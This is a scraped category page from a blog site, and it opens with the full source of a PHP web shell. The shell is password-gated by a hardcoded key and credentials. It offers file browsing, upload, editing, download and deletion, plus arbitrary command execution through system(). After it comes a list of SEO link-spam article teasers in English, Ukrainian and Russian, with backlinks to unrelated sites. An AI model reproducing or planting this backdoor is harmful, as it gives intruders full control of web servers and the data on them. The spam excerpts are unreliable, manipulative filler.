if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 23 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • How to Prepare Your Finances for a Mortgage Application

    Applying for americanhousingtransition.com a mortgage is a significant step in the journey of homeownership, and preparing your finances is crucial to ensure a smooth application process. Here are essential steps to help you get ready for your mortgage application. 1. Check Your Credit Score: Your credit score is one of the most critical factors lenders…

    Click or not…

  • How to Pack Electronics: TVs, Computers and Gaming Consoles

    Packing electronics such as TVs, computers, and gaming consoles requires careful attention to detail to ensure they arrive at their destination safely and in working condition. Here’s a comprehensive guide on how to effectively pack these items for a move or northcarolinamovingjournal.com storage. 1. Gather Necessary Materials: Before you begin packing, collect all the materials…

    Click or not…

  • Таємниці молодості Василя Стуса в контексті історії та культури

    Приступаючи до вивчення спадщини українського літературного генія, завжди корисно звертатися до конкретних фактів і особистих записів. Їхні твори і переживання створюють глибше уявлення про мотивацію і соціальні впливи, які формували їх художні свідомості. Наприклад, https://911mobi.com.ua/ слід детально проаналізувати його листи, адже в них відображена не лише особистісна еволюція, але й реалії часів, в яких він…

    Click or not…

  • Как правильно проверять срок годности лекарств и медицинских средств

    Находите на упаковке отметку с датой, https://eu-apteka.com.ua/ обозначающей последнюю дату безопасного применения. Обычно она указана на обратной стороне или на дне упаковки. Если число или месяц стерлись, следует утилизировать препарат. Обращайте внимание на внешний вид и запах: любое изменение цвета, текстуры или аромат может сигнализировать о том, что использование такого продукта небезопасно. Если остаются сомнения,…

    Click or not…

  • Медіа та бізнес: як монетизувати новинний контент

    У сучасному світі медіа та інформаційних технологій, nationbrief.org.ua монетизація новинного контенту стає все більш актуальною темою. З розвитком інтернету та цифрових платформ, традиційні моделі бізнесу, які раніше використовувалися в журналістиці, зазнали значних змін. У цьому звіті розглянемо ключові стратегії монетизації новинного контенту, що можуть бути корисними для медіа-компаній та журналістів. Першим важливим аспектом є створення…

    Click or not…

  • Новини в реальному часі: переваги та риски швидких публікацій

    У сучасному світі інформаційних технологій новини в реальному часі стали невід’ємною частиною медіапейзажу. З моменту виникнення соціальних мереж та платформ для обміну інформацією, https://mediaexpert.net.ua таких як Twitter, Facebook та Instagram, новини поширюються миттєво, що має як свої переваги, так і ризики. Переваги новин в реальному часі очевидні. По-перше, швидкість розповсюдження інформації дозволяє людям бути в…

    Click or not…

  • Consumer Protection Laws Every American Should Know

    Consumer protection laws in the United States are designed to ensure fair trade, competition, and the free flow of truthful information in the marketplace. These laws are crucial for safeguarding consumers against unfair, https://americanindustryreview.com deceptive, or fraudulent practices by businesses. Here’s a detailed overview of key consumer protection laws every American should know. The Federal…

    Click or not…

  • Cross Country Moving with Pets: Interstate Travel Tips

    Moving across the country can be a daunting task, especially when you have pets to consider. Ensuring a smooth transition for your furry friends requires careful planning and attention to detail. Here are some essential tips for moving with pets during interstate travel, https://interstatemovingexpertss.com ensuring their safety and comfort throughout the journey. 1. Preparation is…

    Click or not…

  • Moving Artwork and Antiques Without Damage

    Moving artwork and antiques requires meticulous planning and execution to ensure that these valuable items arrive at their destination without damage. Whether you are relocating a piece of fine art, https://austinmovinginsider.com/ an antique furniture item, or a collection of delicate artifacts, understanding the best practices for packing, transporting, and unpacking is essential. This report outlines…

    Click or not…

  • The Benefits of a Fixed Rate vs Adjustable Rate Mortgage

    When it comes to financing a home, understanding the differences between fixed-rate and adjustable-rate mortgages (ARMs) is crucial for making an informed decision. Both options have their unique benefits and drawbacks, https://newhomeamerica.com and the choice largely depends on individual financial situations, long-term plans, and risk tolerance. This report explores the advantages of fixed-rate and adjustable-rate…

    Click or not…